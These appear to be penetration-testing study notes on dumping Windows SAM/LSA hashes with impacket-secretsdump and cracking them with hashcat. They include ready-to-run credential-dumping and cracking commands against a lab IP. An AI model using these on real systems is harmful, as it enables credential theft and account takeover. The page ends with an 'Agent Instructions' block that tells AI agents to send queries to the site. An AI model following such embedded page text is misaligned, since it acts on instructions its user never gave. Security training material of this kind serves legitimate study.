# Dumping and Cracking Hashes

## Overview

After compromising a Local Administrator account, we can dump hashes from he SAM and LSA on the machine using **secretsdump**. This can be done using the accounts password or hash.

We can then crack the hashes using **hashcat**

On older machines that have wdigest enabled, there is a possibility to view passwords in clear-text

## Secretsdump

```bash
impacket-secretsdump PNPT.local/greg:'Password1'@192.168.1.130
```

```bash
imapcket-secretsdump administrator@192.168.1.130 -hashes 'aad3b435b51404eeaad3b435b51404ee:7facdc498ed1'
```

```bash
hashcat -m 1000 crackme.txt ~/rockyou.txt -O -r /usr/share/hashcat/rules/InsidePro-PasswordsPro.rule
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pnpt.adot8.com/active-directory/post-compromise-attacks/dumping-and-cracking-hashes.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
